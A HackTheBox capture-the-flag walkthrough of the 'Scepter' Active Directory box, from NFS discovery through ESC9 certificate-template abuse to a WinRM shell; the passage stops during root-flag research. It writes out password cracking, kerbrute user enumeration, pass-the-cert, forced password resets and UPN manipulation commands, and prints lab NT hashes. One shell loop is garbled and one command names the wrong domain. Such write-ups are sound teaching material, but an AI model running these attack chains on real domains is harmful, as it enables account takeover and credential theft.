Scepter

INTRODUCTION

Taking the name as a hint, Scepter is a box involving two notable “ESC” strategies from AD CS abuse. It’s a very challenging box if you’re lacking AD manual recon experience.

Initial remote recon was pretty fast. From Nmap, we discover an NFS share hosted via Portmapper. The NFS share contains several certificates. Most of which are for disabled accounts.

Foothold involves using one of the certificates we obtained during recon. We can’t use any of the certificates initially, but a bit of username enumeration, and a little password cracking, reveals a hint at how to access the only enabled certificate. Unfortunately, this user provides no shell, but we can finally perform some authenticated LDAP queries!

Gaining the user flag is relatively easy. Running a popular tool, we can easily see that one of the certificate templates is vulnerable. Using a quirky chain of account-compromises, we can find an interesting way to abuse this certificate to take over a user with WinRM access to the domain controller.

The root flag was an absolute beast, in my opinion - very difficult to identify the vulnerability. Thankfully, if you’re up-to-speed on manual local privesc enumeration, you’ll spot the “weird” thing pretty quickly. Researching this thing will lead you towards another notable AD CS abuse. In theory, it’s pretty easy, but in practice there are several stumbling points.

Take this box slow. Do plenty of recon, and plan out your attacks before diving in. There are a few “gotchas” that will impede your progress if you don’t have good situational awareness!

RECON

nmap scans

Port scan

I’ll start by setting up a directory for the box, with an nmap subdirectory. I’ll set $RADDR to the target machine’s IP and scan it with a TCP port scan over all 65535 ports:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
111/tcp   open  rpcbind
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
2049/tcp  open  nfs
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
5986/tcp  open  wsmans
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49671/tcp open  unknown
49686/tcp open  unknown
49687/tcp open  unknown
49689/tcp open  unknown
49690/tcp open  unknown
49703/tcp open  unknown
49720/tcp open  unknown
49739/tcp open  unknown
49758/tcp open  unknown

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-25 04:05:19Z)
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-25T04:06:23+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
|_ssl-date: 2025-04-25T04:06:23+00:00; +8h00m01s from scanner time.
2049/tcp  open  nlockmgr      1-4 (RPC #100021)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-25T04:06:23+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
3269/tcp  open  ssl/ldap
|_ssl-date: 2025-04-25T04:06:23+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T00:21:41
|_Not valid after:  2025-11-01T00:41:41
| tls-alpn: 
|_  http/1.1
|_http-title: Not Found
|_ssl-date: 2025-04-25T04:06:23+00:00; +8h00m01s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49686/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49687/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49690/tcp open  msrpc         Microsoft Windows RPC
49703/tcp open  msrpc         Microsoft Windows RPC
49720/tcp open  msrpc         Microsoft Windows RPC
49739/tcp open  msrpc         Microsoft Windows RPC
49758/tcp open  msrpc         Microsoft Windows RPC

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 8h00m00s
| smb2-time: 
|   date: 2025-04-25T04:06:14
|_  start_date: N/A

UDP scan

To be thorough, I’ll also do a scan over the common UDP ports. UDP scans take quite a bit longer, so I limit it to only common ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT      STATE         SERVICE      VERSION
17/udp    open|filtered tcpwrapped
53/udp    open          domain       Simple DNS Plus
67/udp    open|filtered dhcps
88/udp    open          kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-25 04:11:01Z)
111/udp   open          rpcbind?
123/udp   open          ntp          NTP v3
137/udp   open|filtered netbios-ns
138/udp   open|filtered tcpwrapped
139/udp   open|filtered tcpwrapped
500/udp   open|filtered isakmp
631/udp   open|filtered tcpwrapped
1029/udp  open|filtered solid-mux
1719/udp  open|filtered h323gatestat
2049/udp  open          nfs?
2222/udp  open|filtered tcpwrapped
4500/udp  open|filtered tcpwrapped
5000/udp  open|filtered tcpwrapped
5353/udp  open|filtered zeroconf
49200/udp open|filtered unknown

Note that any open|filtered ports are either open or (much more likely) filtered.

Portmapper services

Under TCP port 111, we have portmapper running. From what I can tell, it’s a service that sort of acts as a NAT: forwarding traffic based on the application it’s used with.

During the Nmap script scan, portmapper shows a few services that are mapped from TCP port 111 portmapper to TCP port 2049 (NFS). Enumerating the NFS instance is done as normal, except we use port 111 instead of allowing the default:

nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 111 $RADDR

NFS shares

😮 I wasn’t expecting there to be anything, but this is good news.

Mounting NFS

Let’s mount this directory. I think as long as I do it as root, there will be no permissions issues:

mkdir mnt
sudo mount -t nfs 10.10.11.65:helpdesk ./mnt -o nolock

It takes a moment, then produces no output. We can see if it was successful with a simple sudo ls -lah ./mnt:

files in NFS

Since the NFS share is pretty slow, let’s copy the files to our loot directory:

sudo cp ./mnt/baker.crt ./loot/
sudo cp ./mnt/baker.key ./loot/
sudo cp ./mnt/clark.pfx ./loot/
sudo cp ./mnt/lewis.pfx ./loot/
sudo cp ./mnt/scott.pfx ./loot/
cd ./loot
sudo chown kali:kali ./*

A quick check indicates that the .pfx files are all encrypted, so I won’t be able to use them yet for any pass-the-cert scenario.

The baker keypair is very interesting though. Taking a look inside baker.crt reveals a username:

Bag Attributes
    friendlyName: 
    localKeyID: DC 2B 20 65 C3 0D 91 40 E8 37 B5 CC 06 0F EA 66 5D 3B 7C 4E 
subject=DC=htb, DC=scepter, CN=Users, CN=d.baker, emailAddress=d.baker@scepter.htb
issuer=DC=htb, DC=scepter, CN=scepter-DC01-CA
-----BEGIN CERTIFICATE-----
MIIGTDCCBTSgAwIBAgITYgAAADLhpcORUTEJewAAAAAAMjANBgkqhkiG9w0BAQsF
ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHc2NlcHRl
...

Great - we now have a confirmed username: d.baker. From the Nmap script scan, we know that LDAPS is running (TCP port 636), and I suspect some kind of “secure” WinRM is running (TCP port 5986).

LDAP using certificate

It might be possible to query LDAP using the .crt and .key certificate/keypair:

export LDAPTLS_CERT="$PWD/baker.crt"
export LDAPTLS_KEY="$PWD/baker.key"
ldapsearch -H "ldap://$RADDR" -ZZ -b "dc=scepter,dc=htb" "(objectClass=*)"

baker cert with ldapsearch

Hmm, there is a passphrase on the private key. Is it crackable?

FOOTHOLD

Configuring Kerberos

The AD environment is clearly using Kerberos. To authenticate from kali, we’re going to need to produce a kerberos config. I prefer to make a new one for every target:

I’ve put this script into a public repo on Github, in case you want to use it ❤️

cd ~/Box_Notes/Scepter/tools
./make_custom_krb5_config.sh -K dc01.scepter.htb -o ../custom_krb5.config

configuring Kerberos

With that config in-place, we can export it as necessary to perform authentication requests.

Cracking the crt and key

If it’s crackable, we should be able to use pem2john to convert it to a crackable hash… I think. The pem2john utility expects only this part of the file:

-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIFNTBfBgkqhkiG9w0BBQ0wUjAxBgkqhkiG9w0BBQwwJAQQ17OfpdLR0GFTqV4d
...
7X+ajbc3hOSIIU1JOufrGWQxVvkoFdXcRBG9L15Uwsrpfzr2CA5J3kRMBxuZQnjJ
90yWTwKFUUj3pzCG2WyraNJn44jo3sFJzoUhyUKUYfn2lMtnwOvw//A=
-----END ENCRYPTED PRIVATE KEY-----

So we can just remove the first few lines:

pem2john <(tail -n +5 baker.key) | tee baker.key.hash
WLIST=/usr/share/wordlists/rockyou.txt
hashcat baker.key.hash $WLIST
# hashcat detected mode 24410 (PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES))

Unfortunately, john wouldn’t even accept the format, and hashcat didn’t crack the password, when I left it to run for a few minutes.

💡 However, seeing pem2john has reminded me that it might be possible to crack the .pfx files, too!

Cracking the pfx files

Just like we used pem2john for the keypair, we can use pfx2john for the .pfx files. To make cracking easier, I’ll merge them into one file:

for f in *.pfx; do pfx2john $f >> "merged.pfx.hash"; done
WLIST=/usr/share/wordlists/rockyou.txt
john --wordlist=$WLIST merged.pfx.hash

cracked pfx files

Success - they all have the same password: newpassword. However, we still don’t know their actual usernames.

Username Enumeration

We can guess that the username format is a.name, based on d.baker that was confirmed from the .crt file. To brute-force this, let’s build a wordlist to use with Kerbrute - using different letters prepended to each name:

for letter in {a..z}; do for name in lewis clark scott baker; dor.$name" >> candidate_names.txt; done; done

We’re expecting d.baker to definitely be in the results. Hopefully other ones, too:

kerbrute userenum -d $DOMAIN --dc $RADDR -t 100 candidate_names.txt

kerbrute userenum 1

It’s best-practice to also check if any of the user accounts are locked-out. We can do this in verbose mode:

kerbrute userenum -d $DOMAIN --dc $RADDR -t 100 -v candidate_names.txt | grep -v 'User does not exist'

kerbrute userenum 2

🎉 Bingo! We’ve found 4 valid usernames now: d.baker, e.lewis, o.scott, and m.clark.

Pass-the-cert

The three pfx files

Now that we know the exact usernames, is it possible to use them with gettgtpkinit.py from PKINITTools to try to authenticate? Since three of the accounts are locked-out, I’m fairly certain they can’t be used for authentication.

for acct in e.lewis o.scott m.clark; do 
	echo -n "Trying $acct..."; 
	pfx="/home/kali/Box_Notes/Scepter/loot/${acct:2}.pfx"; 
	faketime -f '+8h' python3 gettgtpkinit.py -cert-pfx "$pfx" -pfx-pass 'newpassword' -dc-ip 'dc01.scepter.htb' "scepter.htb/$acct" "/home/kali/Box_Notes/Scepter/loot/$acct.ccache" 2>/dev/null && 	 printf " Success\n" || 
	printf " Failure\n"; 
done

The key and crt pair

Since a .crt and .key pair hold the same info as a .pfx file, let’s try to convert them:

Why? Because we can use a pfx file directly with regular pass-the-cert tools.

openssl pkcs12 -export -inkey baker.key -in baker.crt -out baker.pfx

👀 As we saw earlier with LDAP, to use the .crt and .key files together we need to provide a PEM password. I tried an empty passphrase, baker and d.baker:

openssl combine crt and key 1

🤔 But we’ve already discovered some horrendous password hygeine from the other three files in this /helpdesk NFS share - all the reset passwords are the same. Is this one also re-used?

openssl combine crt and key 2

Yes, it is the same password as the other files, just newpassword!

I’ve set the resulting baker.pfx password to Password123!. Hopefully, we can now use this .pfx file in a classic pass-the-cert scenario:

python3 gettgtpkinit.py -cert-pfx "~/Box_Notes/Scepter/loot/baker.pfx" -pfx-pass 'Password123!' -dc-ip 'dc01.scepter.htb' "scepter.htb/d.baker" "/home/kali/Box_Notes/Scepter/loot/d.baker.ccache"

pass the cert clock skew

No problem, we already saw the clock skew from the Nmap script scan. Let’s just correct for it using faketime:

faketime -f '+8h' python3 gettgtpkinit.py -cert-pfx "/home/kali/Box_Notes/Scepter/loot/baker.pfx" -pfx-pass 'Password123!' -dc-ip 'dc01.scepter.htb' "scepter.htb/d.baker" "/home/kali/Box_Notes/Scepter/loot/d.baker.ccache"

pass the cert 1

👏 It worked! Before I forget, now is a convenient time to also obtain the NT hash. We can use the aptly-named getnthash.py from PKINITTools.

Also the NT hash

Kerberos is already configured, so we should be able to easily obtain the NT hash:

# Use the ASREP hash from the previous command
ASREP=02ab3adfc94753ca55ff858ed79d491796f21c3dcaeb67fadea31b9da7db6f0b
# Export Kerberos env vars
export KRB5_CONFIG=/home/kali/Box_Notes/Scepter/custom_krb5.conf
export KRB5CCNAME=/home/kali/Box_Notes/Scepter/loot/d.baker.ccache
faketime -f '+8h' python3 getnthash.py -key $ASREP -dc-ip 'dc01.scepter.htb' "$DOMAIN/d.baker"

got d.baker NT hash

🍰 We got the NT hash! Now we have a credential to use: d.baker : 18b5fb0d99e7a475316213c15b6f22ce.

Cracking NT Hash

Just to see if we can recover the plaintext password, I’ll try cracking it:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT <(echo '18b5fb0d99e7a475316213c15b6f22ce')

No result.

USER FLAG

Bloodhound collection

Now that we have a credential, it would be very useful to be able to use LDAP to its fullest by collecting some data for Bloodhound.

faketime -f '+8h' rusthound-ce -d 'scepter.htb' -f 'dc01.scepter.htb' -k -z

This produces a .zip file that can be imported into Bloodhound-CE.

Aside - Username Enumeration

I wanted a concise list of all usernames in the domain, but I couldn’t find a great way to use Kerberos with ldapsearch (my usual tool for producing such a list).

Therefore, I ran rusthound-ce without the -z argument so that it produced a bunch of .json files, then just extracted what I needed from the .json file for users:

cat 20250426011724_scepter-htb_users.json | jq | grep samaccountname | 
cut -d '"' -f 4 | head -n -1 | tr '[:upper:]' '[:lower:]' | 
tee all_users.txt
administrator
guest
krbtgt
d.baker
a.carter
h.brown
p.adams
e.lewis
o.scott
m.clark

I originally tried this with ldapsearch but didnt’ have any luck:

faketime -f '+8h' ldapsearch -Y GSSAPI -R scepter.htb -U h.brown -H ldap://dc01.scepter.htb -b "DC=SCEPTER,DC=HTB" "(objectClass=user)" | grep -i samaccountname

But kept getting this confusing error:

ldapsearch error

The solution was just to install the correct library:

sudo apt install libsasl2-modules-gssapi-mit

It worked after that 👍

One of the most important things to check is the list of users that can use either WinRM or RDP. On this target, nobody can use RDP, and only one user has access to WinRM, h.brown:

remote management users

I’ll mark them (temporarily) as a high-value-target.

The d.baker user, whose NT hash we have, has some interesting properties:

bloodhound d.baker

Oh wow, ForceChangePassword - that’s quite handy. Since it’s conventient to do it right now, let’s go ahead and change the a.carter password and do more Bloodhound collection:

bloodyAD --host dc01.scepter.htb -d scepter.htb -u d.baker -p ':18b5fb0d99e7a475316213c15b6f22ce' set password 'a.carter' 'Cr0wCr0w'
faketime -f '+8h' rusthound-ce -d 'scepter.htb' -f 'dc01.scepter.htb' -u 'a.carter' -p 'Cr0wCr0w' -z

There must be some kind of connection between that staffaccesscertificate cert and the staff access certificate OU. Our newly compromised user, a.carter, has GenericAll over that OU:

bloodhound a.carter

And guess, who’s inside that OU:

d.baker in ou

😮 ​This means that a.carter indirectly has GenericAll over d.baker!

However, before I jump to any conclusions, I should check the properties of the staffaccesscertificate cert - maybe it’s vulnerable to something not readily apparent:

certipy find -vulnerable -stdout -dc-ip $RADDR -u 'd.baker' -hashes '18b5fb0d99e7a475316213c15b6f22ce'
Template Name                       : StaffAccessCertificate
Display Name                        : StaffAccessCertificate
Certificate Authorities             : scepter-DC01-CA
Enabled                             : True
Client Authentication               : True
Enrollment Agent                    : False
Any Purpose                         : False
Enrollee Supplies Subject           : False
Certificate Name Flag               : SubjectRequireEmail
                                      SubjectRequireDnsAsCn
                                      SubjectAltRequireEmail
Enrollment Flag                     : NoSecurityExtension
                                      AutoEnrollment
Private Key Flag                    : 16842752
Extended Key Usage                  : Client Authentication
                                      Server Authentication
Requires Manager Approval           : False
Requires Key Archival               : False
Authorized Signatures Required      : 0
Validity Period                     : 99 years
Renewal Period                      : 6 weeks
Minimum RSA Key Length              : 2048
Permissions
  Enrollment Permissions
    Enrollment Rights               : SCEPTER.HTB\staff
  Object Control Permissions
    Owner                           : SCEPTER.HTB\Enterprise Admins
    Full Control Principals         : SCEPTER.HTB\Domain Admins
                                      SCEPTER.HTB\Local System
                                      SCEPTER.HTB\Enterprise Admins
    [...SNIP...]
[!] Vulnerabilities
  ESC9                              : 'SCEPTER.HTB\\staff' can enroll and template has no security extension

🎉 ​Certipy found that StaffAccessCertificate (the one that d.baker can enroll in) is vulnerable to ESC9. This is an excellent place for us to start looking for a foothold.

Also note that this certificate template requires us to set an email address for the applicant. Thankfully, we can easily set the email of d.baker using the GenericAll rights that a.carter has - more on this later.

ESC9

Background

If you’ve ever dealt with a HackTheBox lab featuring AD CS, you’ve probably heard of (or maybe even read) the seminal whitepaper Certified Pre-Owned. When they published it, they introduced different families of techniques:

  • THEFT 1-5
  • PERSIST 1-3
  • ESC 1-8
  • DPERSIST 1-3

Since then, others have built on this list. Notably, ESC9 and ESC10 were added later. The author who originally described ESC9 (they also created Certipy) wrote an article on it. They’ve summarized the vulnerability as follows:

ESC9 refers to the new msPKI-Enrollment-Flag value CT_FLAG_NO_SECURITY_EXTENSION (0x80000). If this flag is set on a certificate template, the new szOID_NTDS_CA_SECURITY_EXT security extension will not be embedded. ESC9 is only useful when StrongCertificateBindingEnforcement is set to 1 (default), since a weaker certificate mapping configuration for Kerberos or Schannel can be abused as ESC10 — without ESC9 — as the requirements will be the same.

Later in the article, they give an illustrative example of abusing ESC9. In essence, we need to find a user with a userPrincipalName that has a suffix (probably @scepter.htb) that we can leave off - The real abuse here is we can obtain a certificate for someone in the domain, then later use that certificate to authenticate as someone@scepter.htb - granting us the NT hash of someone 🤔

Checking for viability

Let’s get a list of everyone’s UPNs, so we know who can be targetted. Ideally, we’ll go straight after h.brown, who is a member of Remote Management Users:

ldapsearch -LLL -H ldap://scepter.htb -D 'a.carter@scepter.htb' -w 'Cr0wCr0w' -b "dc=scepter,dc=htb" "(objectClass=user)" userPrincipalName | grep -i userprincipalname

Checking all UPNs

Interesting. I’m not sure if someone already had the same idea, or if h.brown has been there all along… 👀

The other major condition for ESC9 abuse is that we have GenericWrite on the user that can request the certificate - this is because we’ll need to modify their UPN before they request a certificate. No worries - GenericWrite is a subset of the indirect GenericAll that a.carter has over d.baker 😉

Strategy

This plan has several steps, so I’ll outline them below:

  1. **Grant a.carter the GenericAll ** (or at least GenericWrite) privilege over d.baker, using dacledit on the Staff Access Certificate OU and pushing the policy down to its members (d.baker)

  2. a.carter now has GenericWrite over d.baker; use it set the email address to any value (d.baker@scepter.htb is fine).

  3. Have a.carter change the UPN of d.baker from d.baker@scepter.htb to h.brown.

  4. Get d.baker (with new UPN = h.brown) to submit the CSR for StaffAccessCertificate. Hopefully we’ll be granted the cert.

  5. After getting the certificate, reset the UPN of d.baker back to d.baker@scepter.htb.

    Unclear if this is optional or not

  6. Use certipy auth to authenticate using our certificate. The authentication request should go through to h.brown@scepter.htb even though we requested it for the UPN h.brown - If successful, we should get a TGT and the NT hash for h.brown!

  7. Use WinRM to login as h.brown, granting us a foothold on the domain controller.

Execution

Instead of describing each step, I’ll refer to the list that I’ve noted above - Refer to the section above to interpret the intention behind each step in the following section.

Step 0

The cleanup scripts can be a little aggressive, so we’ll start off the process by repeating the password reset on a.carter:

bloodyAD --host dc01.scepter.htb -d scepter.htb -u d.baker -p ':18b5fb0d99e7a475316213c15b6f22ce' set password 'a.carter' 'Cr0wCr0w'
Step 1
dacledit.py -dc-ip $RADDR -action 'write' -rights 'FullControl' -inheritance -principal 'a.carter' -target-dn 'OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB' 'infiltrator.htb/a.carter':'Cr0wCr0w'

ESC9 - Generic All on OU

Step 2
bloodyAD --host 'dc01.scepter.htb' -d 'scepter.htb' -u 'a.carter' -p 'Cr0wCr0w' set object 'd.baker' mail -v 'whatever@scepter.htb'

ESC9 - Assigned email to d.baker

Step 3
certipy account update -u 'a.carter@scepter.htb' -p 'Cr0wCr0w' -user 'd.baker' -upn 'h.brown'

ESC9 - set new UPN for d.baker

Step 4
certipy req -u 'd.baker@scepter.htb' -hashes '18b5fb0d99e7a475316213c15b6f22ce' -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate'

ESC9 - request StaffAccessCertificate

⚠️ I got a couple of NETBIOS connection with the remote host timed out errors before this actually worked. If you encounter that error, just try it a few times!

Step 5
certipy account update -u 'a.carter@scepter.htb' -p 'Cr0wCr0w' -user 'd.baker' -upn 'd.baker@scepter.htb'

ESC9 - restore d.baker UPN

Step 6
certipy auth -pfx 'd.baker.pfx' -username 'h.brown' -domain 'scepter.htb'

ESC9 -authenticate as h.brown

Clock skew again - no problem; it’s easy to fix:

faketime -f '+8h' certipy auth -pfx 'd.baker.pfx' -username 'h.brown' -domain 'scepter.htb'

ESC9 -authenticate as h.brown success

👏 That’s it! We got the NT hash, h.brown : 4ecf5242092c6fb8c360a08069c75a0c

Step 7

We should be able to just log in over WinRM, since h.brown is in Remote Management Users:

faketime -f '+8h' evil-winrm -i scepter.htb -u h.brown -H 4ecf5242092c6fb8c360a08069c75a0c

WinRM as h.brown 1

Sometimes, we get this error because some policy prevents us from using a password or NT hash (we can only use Kerberos), so let’s try that instead:

As I later found out, this “policy” is actually that h.brown is a member of the Protected Users group. When a user is in that group, it means that neither plaintext credentials nor NT hashes can be used for authentication.

In short, we can only authenticate using Kerberos if a user is a member of Protected Users.

faketime -f '+8h' evil-winrm -i scepter.htb --realm scepter.htb

WinRM as h.brown 2

Ugh. Now what? This message would indicate that there’s something wrong with my custom_kerb5.conf file, right? It seems fine; the --realm argument lines up perfectly to the kerberos config file…

In a few more desperate attempts, I switched around the -i argument:

  • faketime -f '+8h' evil-winrm -i 10.10.11.65 --realm scepter.htb
  • faketime -f '+8h' evil-winrm -i scepter.htb --realm scepter.htb
  • faketime -f '+8h' evil-winrm -i dc01.scepter.htb --realm scepter.htb

☝️ I had thought that, due to the entry in my /etc/hosts file, these three variants would have been equivalent. Clearly, that’s not the case. The -i switch must factor into how the domain and host are queried with kerberos.

No clue why, but that last one worked. Here it is, complete with env vars:

export KRB5_CONFIG=/home/kali/Box_Notes/Scepter/custom_krb5.conf
export KRB5CCNAME=/home/kali/Box_Notes/Scepter/loot/h.brown.ccache
faketime -f '+8h' evil-winrm -i dc01.scepter.htb --realm scepter.htb

WinRM as h.brown 3

We have a shell. Thankfully, h.brown holds the user flag - make sure to read it before moving on:

type C:\Users\h.brown\Desktop\user.txt

ROOT FLAG

Tool Transfer

I’m going to want something for transferring tools to the target, and exfiltrating data from the target. First thing to do is open some ports in the firewall:

sudo ufw allow from $RADDR to any port 139,445,4444,8000 proto tcp

Unfortunately, SMB didn’t work:

sudo impacket-smbserver share -smb2support /tmp/smbshare -user 4wayhs -password 4wayhs

SMB failed

I don’t know why. It seems like there are a bunch of things this user can’t do 🤷‍♂️

Instead of using SMB, I’ll just transfer files using the built-in upload and dowload features of evil-winrm. I’ve made a .zip file of some handy tools and placed them in the directory where I ran evil-winrm from:

cd C:\users\h.brown\appdata\local\temp
upload tools.zip
Expand-Archive -Path "C:\Users\h.brown\Appdata\local\temp\tools.zip" -Destination "C:\Users\h.brown\Appdata\local\temp"

tools transferred

Automatic Enumeration

WinPEAS

Running WinPEAS didn’t show anything particularly interesting. That’s not to say it wasn’t a valuable step, only that it showed a bunch of negatives:

  • d.baker, a.carter, h.brown and p.adams are the only enabled low-priv users. krbtgt is not enabled.
  • No interesting listening processes.
  • Nothing notable around the filesystem.

Bloodhound

I’ve already done bloodhound collection remotely using h.brown, but sometimes different properties can be seen locally. I’ll run SharpHound.exe for this:

.\SharpHound.exe -c All --collectallproperties

There don’t seem to be any changes in our visibility over h.brown. It’s worth nothing their group membership:

BH h.brown group membership

We can also see that h.brown is eligible for enrolment in a few certificates. However, this is the same set of certificates that d.baker and a.carter could enroll in:

BH h.brown

Take a fresh look at the list of domain users. The only low-priv user that we haven’t seen or done anything with is p.adams. If we look them up in Bloodhound, we can see very clearly that p.adams will be the final step for privesc to Administrator.

With the DCSync privilege, we can dump all of the NT hashes of users on the domain controller, as well as the hash for krbtgt (in case we want a Golden Ticket) 👇

BH final privesc

While the importance is currently unclear, we can see that p.adams is inside the Helpdesk Enrollment Certificate OU. This is mostly notable because there is a certificate with the same name:

BH p.adams in OU

We can see some interesting properties of the corresponding certificate:

HelpdeskEnrollmentCertificate

Manual Enumeration

Filesystem

Taking a look through the filesystem doesn’t result in much. There’s an interesting folder in C:\, but we’ve actually already seen it:

C drive

The HelpDesk folder simply holds the NFS share that we accessed earlier.

Checking inside C:\Users\h.brown, we see some interesting-looking folders inside AppData. However, after taking a closer look at all of it, there was nothing out of the ordinary.

Certificates

Now that I have a WinRM shell, I’ll check for certificates (again). If I understand AD CS properly: we won’t get any new results, there’s no mechanism that allows certain users to “see” certificates when others cannot.

It’s possible I’m wrong about that, though!

Since we’re local now, let’s check Certify.exe (instead of certipy):

Certify.exe find /vulnerable
Certify.exe find /clientauth

No surprises here. There are still only two “interesting” / non-default certificate templates in the CA:

  • StaffAccessCertificate
    • We used this already with ESC9.
  • HelpdeskEnrollmentCertificate
    • Grants authentication, but only for domain computers.

Writable Objects

Bloodhound is great - there’s no denying that - but sometimes the collectors don’t pick up on everything. One really important step is to check for writable objects. Unfortunately, there is a lot of noise that we get from all the attributes and DACLs to sift through; when we see data like this enough, we learn to filter out the “normal” and focus on the “weird”.

We can use bloodyAD to check for writable objects (from the perspective of h.brown):

faketime -f '+8h' bloodyAD --host dc01.scepter.htb -d scepter.htb -u h.brown -k get writable --detail

This interesting line appears last, after quite a bit of “normal” stuff:

write altSecurityIdentities bloodyAD

It seems conspicuously “weird” that we can write the altSecurityIdentities of one particular user, doesn’t it?

Since this is a DACL, let’s check where it came from. I’ll use dacledit, and grep for h.brown and every group they’re a part of:

faketime -f '+8h' impacket-dacledit -k -no-pass -dc-ip $RADDR -target-dn 'OU=HELPDESK ENROLLMENT CERTIFICATE,DC=SCEPTER,DC=HTB' -action 'read' 'scepter.htb'/'h.brown' | 
grep -iE -B 5 'h.brown|remote management users|protected users|helpdesk admins|cms'

manual dacl enumeration

👀 There it is again. It looks like the Write permission on Alt-Security-Identities is due to h.brown’s membership in CMS (Certificate Management Service).

This definitely seems a little odd; I’ll do a little research about this altSecurityIdentities thing. 🚩

Writable altSecurityIdentities

Our next step is to do some research. After a couple steps of refinement, I landed on the search “active directory pentest writable altSecurityIdentities Alt-Security-Identities Certificate”. The only hacking-related article on the first page of search results was this excellent article from SpecterOps

Yes, SpecterOps: the company that employs Will Schroeder (@harmj0y) and Lee Christensen (@tifkin), who rocked the world with the original Certified Pre-Owned whitepaper!

They also helped build Bloodhound, the Ghostpack binaries, Certify, and innumerable other tools.

